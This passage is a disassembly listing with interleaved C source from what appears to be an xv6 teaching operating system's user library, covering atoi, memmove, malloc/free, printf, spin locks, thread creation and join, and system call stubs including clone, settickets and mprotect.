12cf: 5d pop %ebp 12d0: c3 ret 12d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 12d8: be ff ff ff ff mov $0xffffffff,%esi 12dd: eb e9 jmp 12c8 <stat+0x38> 12df: 90 nop 000012e0 <atoi>: int atoi(const char *s) { 12e0: f3 0f 1e fb endbr32 12e4: 55 push %ebp 12e5: 89 e5 mov %esp,%ebp 12e7: 53 push %ebx 12e8: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 12eb: 0f be 02 movsbl (%edx),%eax 12ee: 8d 48 d0 lea -0x30(%eax),%ecx 12f1: 80 f9 09 cmp $0x9,%cl n = 0; 12f4: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 12f9: 77 1a ja 1315 <atoi+0x35> 12fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 12ff: 90 nop n = n*10 + *s++ - '0'; 1300: 83 c2 01 add $0x1,%edx 1303: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1306: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 130a: 0f be 02 movsbl (%edx),%eax 130d: 8d 58 d0 lea -0x30(%eax),%ebx 1310: 80 fb 09 cmp $0x9,%bl 1313: 76 eb jbe 1300 <atoi+0x20> return n; } 1315: 89 c8 mov %ecx,%eax 1317: 5b pop %ebx 1318: 5d pop %ebp 1319: c3 ret 131a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001320 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 1320: f3 0f 1e fb endbr32 1324: 55 push %ebp 1325: 89 e5 mov %esp,%ebp 1327: 57 push %edi 1328: 8b 45 10 mov 0x10(%ebp),%eax 132b: 8b 55 08 mov 0x8(%ebp),%edx 132e: 56 push %esi 132f: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 1332: 85 c0 test %eax,%eax 1334: 7e 0f jle 1345 <memmove+0x25> 1336: 01 d0 add %edx,%eax dst = vdst; 1338: 89 d7 mov %edx,%edi 133a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 1340: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 1341: 39 f8 cmp %edi,%eax 1343: 75 fb jne 1340 <memmove+0x20> return vdst; } 1345: 5e pop %esi 1346: 89 d0 mov %edx,%eax 1348: 5f pop %edi 1349: 5d pop %ebp 134a: c3 ret 134b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 134f: 90 nop 00001350 <thread_join>: void* stack; stack =malloc(4096); //pgsize return clone(start_routine,arg1,arg2,stack); } int thread_join() { 1350: f3 0f 1e fb endbr32 1354: 55 push %ebp 1355: 89 e5 mov %esp,%ebp 1357: 83 ec 24 sub $0x24,%esp void * stackPtr; int x = join(&stackPtr); 135a: 8d 45 f4 lea -0xc(%ebp),%eax 135d: 50 push %eax 135e: e8 0a 03 00 00 call 166d <join> return x; } 1363: c9 leave 1364: c3 ret 1365: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 136c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001370 <lock_init>: void lock_init(struct lock_t *lk){ 1370: f3 0f 1e fb endbr32 1374: 55 push %ebp 1375: 89 e5 mov %esp,%ebp lk->locked=0; //intialize as unnlocked 1377: 8b 45 08 mov 0x8(%ebp),%eax 137a: c7 00 00 00 00 00 movl $0x0,(%eax) } 1380: 5d pop %ebp 1381: c3 ret 1382: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00001390 <lock_acquire>: void lock_acquire(struct lock_t *lk){ 1390: f3 0f 1e fb endbr32 1394: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1395: b9 01 00 00 00 mov $0x1,%ecx 139a: 89 e5 mov %esp,%ebp 139c: 8b 55 08 mov 0x8(%ebp),%edx 139f: 90 nop 13a0: 89 c8 mov %ecx,%eax 13a2: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked,1) != 0); 13a5: 85 c0 test %eax,%eax 13a7: 75 f7 jne 13a0 <lock_acquire+0x10> } 13a9: 5d pop %ebp 13aa: c3 ret 13ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 13af: 90 nop 000013b0 <lock_release>: void lock_release(struct lock_t *lk){ 13b0: f3 0f 1e fb endbr32 13b4: 55 push %ebp 13b5: 31 c0 xor %eax,%eax 13b7: 89 e5 mov %esp,%ebp 13b9: 8b 55 08 mov 0x8(%ebp),%edx 13bc: f0 87 02 lock xchg %eax,(%edx) xchg(&lk->locked,0) ; } 13bf: 5d pop %ebp 13c0: c3 ret 13c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13c8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 13cf: 90 nop 000013d0 <free>: static Header base; static Header *freep; void free(void *ap) { 13d0: f3 0f 1e fb endbr32 13d4: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 13d5: a1 a4 1c 00 00 mov 0x1ca4,%eax { 13da: 89 e5 mov %esp,%ebp 13dc: 57 push %edi 13dd: 56 push %esi 13de: 53 push %ebx 13df: 8b 5d 08 mov 0x8(%ebp),%ebx 13e2: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 13e4: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 13e7: 39 c8 cmp %ecx,%eax 13e9: 73 15 jae 1400 <free+0x30> 13eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 13ef: 90 nop 13f0: 39 d1 cmp %edx,%ecx 13f2: 72 14 jb 1408 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 13f4: 39 d0 cmp %edx,%eax 13f6: 73 10 jae 1408 <free+0x38> { 13f8: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 13fa: 8b 10 mov (%eax),%edx 13fc: 39 c8 cmp %ecx,%eax 13fe: 72 f0 jb 13f0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1400: 39 d0 cmp %edx,%eax 1402: 72 f4 jb 13f8 <free+0x28> 1404: 39 d1 cmp %edx,%ecx 1406: 73 f0 jae 13f8 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 1408: 8b 73 fc mov -0x4(%ebx),%esi 140b: 8d 3c f1 lea (%ecx,%esi,8),%edi 140e: 39 fa cmp %edi,%edx 1410: 74 1e je 1430 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 1412: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1415: 8b 50 04 mov 0x4(%eax),%edx 1418: 8d 34 d0 lea (%eax,%edx,8),%esi 141b: 39 f1 cmp %esi,%ecx 141d: 74 28 je 1447 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 141f: 89 08 mov %ecx,(%eax) freep = p; } 1421: 5b pop %ebx freep = p; 1422: a3 a4 1c 00 00 mov %eax,0x1ca4 } 1427: 5e pop %esi 1428: 5f pop %edi 1429: 5d pop %ebp 142a: c3 ret 142b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 142f: 90 nop bp->s.size += p->s.ptr->s.size; 1430: 03 72 04 add 0x4(%edx),%esi 1433: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 1436: 8b 10 mov (%eax),%edx 1438: 8b 12 mov (%edx),%edx 143a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 143d: 8b 50 04 mov 0x4(%eax),%edx 1440: 8d 34 d0 lea (%eax,%edx,8),%esi 1443: 39 f1 cmp %esi,%ecx 1445: 75 d8 jne 141f <free+0x4f> p->s.size += bp->s.size; 1447: 03 53 fc add -0x4(%ebx),%edx freep = p; 144a: a3 a4 1c 00 00 mov %eax,0x1ca4 p->s.size += bp->s.size; 144f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1452: 8b 53 f8 mov -0x8(%ebx),%edx 1455: 89 10 mov %edx,(%eax) } 1457: 5b pop %ebx 1458: 5e pop %esi 1459: 5f pop %edi 145a: 5d pop %ebp 145b: c3 ret 145c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001460 <malloc>: return freep; } void* malloc(uint nbytes) { 1460: f3 0f 1e fb endbr32 1464: 55 push %ebp 1465: 89 e5 mov %esp,%ebp 1467: 57 push %edi 1468: 56 push %esi 1469: 53 push %ebx 146a: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 146d: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 1470: 8b 3d a4 1c 00 00 mov 0x1ca4,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1476: 8d 70 07 lea 0x7(%eax),%esi 1479: c1 ee 03 shr $0x3,%esi 147c: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 147f: 85 ff test %edi,%edi 1481: 0f 84 a9 00 00 00 je 1530 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1487: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 1489: 8b 48 04 mov 0x4(%eax),%ecx 148c: 39 f1 cmp %esi,%ecx 148e: 73 6d jae 14fd <malloc+0x9d> 1490: 81 fe 00 10 00 00 cmp $0x1000,%esi 1496: bb 00 10 00 00 mov $0x1000,%ebx 149b: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 149e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 14a5: 89 4d e4 mov %ecx,-0x1c(%ebp) 14a8: eb 17 jmp 14c1 <malloc+0x61> 14aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 14b0: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 14b2: 8b 4a 04 mov 0x4(%edx),%ecx 14b5: 39 f1 cmp %esi,%ecx 14b7: 73 4f jae 1508 <malloc+0xa8> 14b9: 8b 3d a4 1c 00 00 mov 0x1ca4,%edi 14bf: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 14c1: 39 c7 cmp %eax,%edi 14c3: 75 eb jne 14b0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 14c5: 83 ec 0c sub $0xc,%esp 14c8: ff 75 e4 pushl -0x1c(%ebp) 14cb: e8 55 01 00 00 call 1625 <sbrk> if(p == (char*)-1) 14d0: 83 c4 10 add $0x10,%esp 14d3: 83 f8 ff cmp $0xffffffff,%eax 14d6: 74 1b je 14f3 <malloc+0x93> hp->s.size = nu; 14d8: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 14db: 83 ec 0c sub $0xc,%esp 14de: 83 c0 08 add $0x8,%eax 14e1: 50 push %eax 14e2: e8 e9 fe ff ff call 13d0 <free> return freep; 14e7: a1 a4 1c 00 00 mov 0x1ca4,%eax if((p = morecore(nunits)) == 0) 14ec: 83 c4 10 add $0x10,%esp 14ef: 85 c0 test %eax,%eax 14f1: 75 bd jne 14b0 <malloc+0x50> return 0; } } 14f3: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 14f6: 31 c0 xor %eax,%eax } 14f8: 5b pop %ebx 14f9: 5e pop %esi 14fa: 5f pop %edi 14fb: 5d pop %ebp 14fc: c3 ret if(p->s.size >= nunits){ 14fd: 89 c2 mov %eax,%edx 14ff: 89 f8 mov %edi,%eax 1501: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1508: 39 ce cmp %ecx,%esi 150a: 74 54 je 1560 <malloc+0x100> p->s.size -= nunits; 150c: 29 f1 sub %esi,%ecx 150e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 1511: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 1514: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 1517: a3 a4 1c 00 00 mov %eax,0x1ca4 } 151c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 151f: 8d 42 08 lea 0x8(%edx),%eax } 1522: 5b pop %ebx 1523: 5e pop %esi 1524: 5f pop %edi 1525: 5d pop %ebp 1526: c3 ret 1527: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 152e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 1530: c7 05 a4 1c 00 00 a8 movl $0x1ca8,0x1ca4 1537: 1c 00 00 base.s.size = 0; 153a: bf a8 1c 00 00 mov $0x1ca8,%edi base.s.ptr = freep = prevp = &base; 153f: c7 05 a8 1c 00 00 a8 movl $0x1ca8,0x1ca8 1546: 1c 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1549: 89 f8 mov %edi,%eax base.s.size = 0; 154b: c7 05 ac 1c 00 00 00 movl $0x0,0x1cac 1552: 00 00 00 if(p->s.size >= nunits){ 1555: e9 36 ff ff ff jmp 1490 <malloc+0x30> 155a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 1560: 8b 0a mov (%edx),%ecx 1562: 89 08 mov %ecx,(%eax) 1564: eb b1 jmp 1517 <malloc+0xb7> 1566: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 156d: 8d 76 00 lea 0x0(%esi),%esi 00001570 <thread_create>: { 1570: f3 0f 1e fb endbr32 1574: 55 push %ebp 1575: 89 e5 mov %esp,%ebp 1577: 83 ec 14 sub $0x14,%esp stack =malloc(4096); //pgsize 157a: 68 00 10 00 00 push $0x1000 157f: e8 dc fe ff ff call 1460 <malloc> return clone(start_routine,arg1,arg2,stack); 1584: 50 push %eax 1585: ff 75 10 pushl 0x10(%ebp) 1588: ff 75 0c pushl 0xc(%ebp) 158b: ff 75 08 pushl 0x8(%ebp) 158e: e8 d2 00 00 00 call 1665 <clone> } 1593: c9 leave 1594: c3 ret 00001595 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1595: b8 01 00 00 00 mov $0x1,%eax 159a: cd 40 int $0x40 159c: c3 ret 0000159d <exit>: SYSCALL(exit) 159d: b8 02 00 00 00 mov $0x2,%eax 15a2: cd 40 int $0x40 15a4: c3 ret 000015a5 <wait>: SYSCALL(wait) 15a5: b8 03 00 00 00 mov $0x3,%eax 15aa: cd 40 int $0x40 15ac: c3 ret 000015ad <pipe>: SYSCALL(pipe) 15ad: b8 04 00 00 00 mov $0x4,%eax 15b2: cd 40 int $0x40 15b4: c3 ret 000015b5 <read>: SYSCALL(read) 15b5: b8 05 00 00 00 mov $0x5,%eax 15ba: cd 40 int $0x40 15bc: c3 ret 000015bd <write>: SYSCALL(write) 15bd: b8 10 00 00 00 mov $0x10,%eax 15c2: cd 40 int $0x40 15c4: c3 ret 000015c5 <close>: SYSCALL(close) 15c5: b8 15 00 00 00 mov $0x15,%eax 15ca: cd 40 int $0x40 15cc: c3 ret 000015cd <kill>: SYSCALL(kill) 15cd: b8 06 00 00 00 mov $0x6,%eax 15d2: cd 40 int $0x40 15d4: c3 ret 000015d5 <exec>: SYSCALL(exec) 15d5: b8 07 00 00 00 mov $0x7,%eax 15da: cd 40 int $0x40 15dc: c3 ret 000015dd <open>: SYSCALL(open) 15dd: b8 0f 00 00 00 mov $0xf,%eax 15e2: cd 40 int $0x40 15e4: c3 ret 000015e5 <mknod>: SYSCALL(mknod) 15e5: b8 11 00 00 00 mov $0x11,%eax 15ea: cd 40 int $0x40 15ec: c3 ret 000015ed <unlink>: SYSCALL(unlink) 15ed: b8 12 00 00 00 mov $0x12,%eax 15f2: cd 40 int $0x40 15f4: c3 ret 000015f5 <fstat>: SYSCALL(fstat) 15f5: b8 08 00 00 00 mov $0x8,%eax 15fa: cd 40 int $0x40 15fc: c3 ret 000015fd <link>: SYSCALL(link) 15fd: b8 13 00 00 00 mov $0x13,%eax 1602: cd 40 int $0x40 1604: c3 ret 00001605 <mkdir>: SYSCALL(mkdir) 1605: b8 14 00 00 00 mov $0x14,%eax 160a: cd 40 int $0x40 160c: c3 ret 0000160d <chdir>: SYSCALL(chdir) 160d: b8 09 00 00 00 mov $0x9,%eax 1612: cd 40 int $0x40 1614: c3 ret 00001615 <dup>: SYSCALL(dup) 1615: b8 0a 00 00 00 mov $0xa,%eax 161a: cd 40 int $0x40 161c: c3 ret 0000161d <getpid>: SYSCALL(getpid) 161d: b8 0b 00 00 00 mov $0xb,%eax 1622: cd 40 int $0x40 1624: c3 ret 00001625 <sbrk>: SYSCALL(sbrk) 1625: b8 0c 00 00 00 mov $0xc,%eax 162a: cd 40 int $0x40 162c: c3 ret 0000162d <sleep>: SYSCALL(sleep) 162d: b8 0d 00 00 00 mov $0xd,%eax 1632: cd 40 int $0x40 1634: c3 ret 00001635 <uptime>: SYSCALL(uptime) 1635: b8 0e 00 00 00 mov $0xe,%eax 163a: cd 40 int $0x40 163c: c3 ret 0000163d <count>: SYSCALL(count) 163d: b8 16 00 00 00 mov $0x16,%eax 1642: cd 40 int $0x40 1644: c3 ret 00001645 <settickets>: SYSCALL(settickets) 1645: b8 17 00 00 00 mov $0x17,%eax 164a: cd 40 int $0x40 164c: c3 ret 0000164d <getpinfo>: SYSCALL(getpinfo) 164d: b8 18 00 00 00 mov $0x18,%eax 1652: cd 40 int $0x40 1654: c3 ret 00001655 <mprotect>: SYSCALL(mprotect) 1655: b8 19 00 00 00 mov $0x19,%eax 165a: cd 40 int $0x40 165c: c3 ret 0000165d <munprotect>: SYSCALL(munprotect) 165d: b8 1a 00 00 00 mov $0x1a,%eax 1662: cd 40 int $0x40 1664: c3 ret 00001665 <clone>: SYSCALL(clone) 1665: b8 1b 00 00 00 mov $0x1b,%eax 166a: cd 40 int $0x40 166c: c3 ret 0000166d <join>: SYSCALL(join) 166d: b8 1c 00 00 00 mov $0x1c,%eax 1672: cd 40 int $0x40 1674: c3 ret 1675: 66 90 xchg %ax,%ax 1677: 66 90 xchg %ax,%ax 1679: 66 90 xchg %ax,%ax 167b: 66 90 xchg %ax,%ax 167d: 66 90 xchg %ax,%ax 167f: 90 nop 00001680 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1680: 55 push %ebp 1681: 89 e5 mov %esp,%ebp 1683: 57 push %edi 1684: 56 push %esi 1685: 53 push %ebx 1686: 83 ec 3c sub $0x3c,%esp 1689: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 168c: 89 d1 mov %edx,%ecx { 168e: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 1691: 85 d2 test %edx,%edx 1693: 0f 89 7f 00 00 00 jns 1718 <printint+0x98> 1699: f6 45 08 01 testb $0x1,0x8(%ebp) 169d: 74 79 je 1718 <printint+0x98> neg = 1; 169f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 16a6: f7 d9 neg %ecx } else { x = xx; } i = 0; 16a8: 31 db xor %ebx,%ebx 16aa: 8d 75 d7 lea -0x29(%ebp),%esi 16ad: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 16b0: 89 c8 mov %ecx,%eax 16b2: 31 d2 xor %edx,%edx 16b4: 89 cf mov %ecx,%edi 16b6: f7 75 c4 divl -0x3c(%ebp) 16b9: 0f b6 92 50 19 00 00 movzbl 0x1950(%edx),%edx 16c0: 89 45 c0 mov %eax,-0x40(%ebp) 16c3: 89 d8 mov %ebx,%eax 16c5: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 16c8: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 16cb: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 16ce: 39 7d c4 cmp %edi,-0x3c(%ebp) 16d1: 76 dd jbe 16b0 <printint+0x30> if(neg) 16d3: 8b 4d bc mov -0x44(%ebp),%ecx 16d6: 85 c9 test %ecx,%ecx 16d8: 74 0c je 16e6 <printint+0x66> buf[i++] = '-'; 16da: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 16df: 89 d8 mov %ebx,%eax buf[i++] = '-'; 16e1: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 16e6: 8b 7d b8 mov -0x48(%ebp),%edi 16e9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 16ed: eb 07 jmp 16f6 <printint+0x76> 16ef: 90 nop 16f0: 0f b6 13 movzbl (%ebx),%edx 16f3: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 16f6: 83 ec 04 sub $0x4,%esp 16f9: 88 55 d7 mov %dl,-0x29(%ebp) 16fc: 6a 01 push $0x1 16fe: 56 push %esi 16ff: 57 push %edi 1700: e8 b8 fe ff ff call 15bd <write> while(--i >= 0) 1705: 83 c4 10 add $0x10,%esp 1708: 39 de cmp %ebx,%esi 170a: 75 e4 jne 16f0 <printint+0x70> putc(fd, buf[i]); } 170c: 8d 65 f4 lea -0xc(%ebp),%esp 170f: 5b pop %ebx 1710: 5e pop %esi 1711: 5f pop %edi 1712: 5d pop %ebp 1713: c3 ret 1714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 1718: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 171f: eb 87 jmp 16a8 <printint+0x28> 1721: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1728: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 172f: 90 nop 00001730 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 1730: f3 0f 1e fb endbr32 1734: 55 push %ebp 1735: 89 e5 mov %esp,%ebp 1737: 57 push %edi 1738: 56 push %esi 1739: 53 push %ebx 173a: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 173d: 8b 75 0c mov 0xc(%ebp),%esi 1740: 0f b6 1e movzbl (%esi),%ebx 1743: 84 db test %bl,%bl 1745: 0f 84 b4 00 00 00 je 17ff <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 174b: 8d 45 10 lea 0x10(%ebp),%eax 174e: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 1751: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 1754: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 1756: 89 45 d0 mov %eax,-0x30(%ebp) 1759: eb 33 jmp 178e <printf+0x5e> 175b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 175f: 90 nop 1760: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 1763: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 1768: 83 f8 25 cmp $0x25,%eax 176b: 74 17 je 1784 <printf+0x54> write(fd, &c, 1); 176d: 83 ec 04 sub $0x4,%esp 1770: 88 5d e7 mov %bl,-0x19(%ebp) 1773: 6a 01 push $0x1 1775: 57 push %edi 1776: ff 75 08 pushl 0x8(%ebp) 1779: e8 3f fe ff ff call 15bd <write> 177e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 1781: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 1784: 0f b6 1e movzbl (%esi),%ebx 1787: 83 c6 01 add $0x1,%esi 178a: 84 db test %bl,%bl 178c: 74 71 je 17ff <printf+0xcf> c = fmt[i] & 0xff; 178e: 0f be cb movsbl %bl,%ecx 1791: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1794: 85 d2 test %edx,%edx 1796: 74 c8 je 1760 <printf+0x30> } } else if(state == '%'){ 1798: 83 fa 25 cmp $0x25,%edx 179b: 75 e7 jne 1784 <printf+0x54> if(c == 'd'){ 179d: 83 f8 64 cmp $0x64,%eax 17a0: 0f 84 9a 00 00 00 je 1840 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 17a6: 81 e1 f7 00 00 00 and $0xf7,%ecx 17ac: 83 f9 70 cmp $0x70,%ecx 17af: 74 5f je 1810 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 17b1: 83 f8 73 cmp $0x73,%eax 17b4: 0f 84 d6 00 00 00 je 1890 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 17ba: 83 f8 63 cmp $0x63,%eax 17bd: 0f 84 8d 00 00 00 je 1850 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 17c3: 83 f8 25 cmp $0x25,%eax 17c6: 0f 84 b4 00 00 00 je 1880 <printf+0x150> write(fd, &c, 1); 17cc: 83 ec 04 sub $0x4,%esp 17cf: c6 45 e7 25 movb $0x25,-0x19(%ebp) 17d3: 6a 01 push $0x1 17d5: 57 push %edi 17d6: ff 75 08 pushl 0x8(%ebp) 17d9: e8 df fd ff ff call 15bd <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 17de: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 17e1: 83 c4 0c add $0xc,%esp 17e4: 6a 01 push $0x1 17e6: 83 c6 01 add $0x1,%esi 17e9: 57 push %edi 17ea: ff 75 08 pushl 0x8(%ebp) 17ed: e8 cb fd ff ff call 15bd <write> for(i = 0; fmt[i]; i++){ 17f2: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 17f6: 83 c4 10 add $0x10,%esp } state = 0; 17f9: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 17fb: 84 db test %bl,%bl 17fd: 75 8f jne 178e <printf+0x5e> } } } 17ff: 8d 65 f4 lea -0xc(%ebp),%esp 1802: 5b pop %ebx 1803: 5e pop %esi 1804: 5f pop %edi 1805: 5d pop %ebp 1806: c3 ret 1807: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 180e: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 1810: 83 ec 0c sub $0xc,%esp 1813: b9 10 00 00 00 mov $0x10,%ecx 1818: 6a 00 push $0x0 181a: 8b 5d d0 mov -0x30(%ebp),%ebx 181d: 8b 45 08 mov 0x8(%ebp),%eax 1820: 8b 13 mov (%ebx),%edx 1822: e8 59 fe ff ff call 1680 <printint> ap++; 1827: 89 d8 mov %ebx,%eax 1829: 83 c4 10 add $0x10,%esp state = 0; 182c: 31 d2 xor %edx,%edx ap++; 182e: 83 c0 04 add $0x4,%eax 1831: 89 45 d0 mov %eax,-0x30(%ebp) 1834: e9 4b ff ff ff jmp 1784 <printf+0x54> 1839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 1840: 83 ec 0c sub $0xc,%esp 1843: b9 0a 00 00 00 mov $0xa,%ecx 1848: 6a 01 push $0x1 184a: eb ce jmp 181a <printf+0xea> 184c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 1850: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 1853: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 1856: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 1858: 6a 01 push $0x1 ap++; 185a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 185d: 57 push %edi 185e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 1861: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1864: e8 54 fd ff ff call 15bd <write> ap++; 1869: 89 5d d0 mov %ebx,-0x30(%ebp) 186c: 83 c4 10 add $0x10,%esp state = 0; 186f: 31 d2 xor %edx,%edx 1871: e9 0e ff ff ff jmp 1784 <printf+0x54> 1876: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 187d: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 1880: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1883: 83 ec 04 sub $0x4,%esp 1886: e9 59 ff ff ff jmp 17e4 <printf+0xb4> 188b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 188f: 90 nop s = (char*)*ap; 1890: 8b 45 d0 mov -0x30(%ebp),%eax 1893: 8b 18 mov (%eax),%ebx ap++; 1895: 83 c0 04 add $0x4,%eax 1898: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 189b: 85 db test %ebx,%ebx 189d: 74 17 je 18b6 <printf+0x186> while(*s != 0){ 189f: 0f b6 03 movzbl (%ebx),%eax state = 0; 18a2: 31 d2 xor %edx,%edx while(*s != 0){ 18a4: 84 c0 test %al,%al 18a6: 0f 84 d8 fe ff ff je 1784 <printf+0x54> 18ac: 89 75 d4 mov 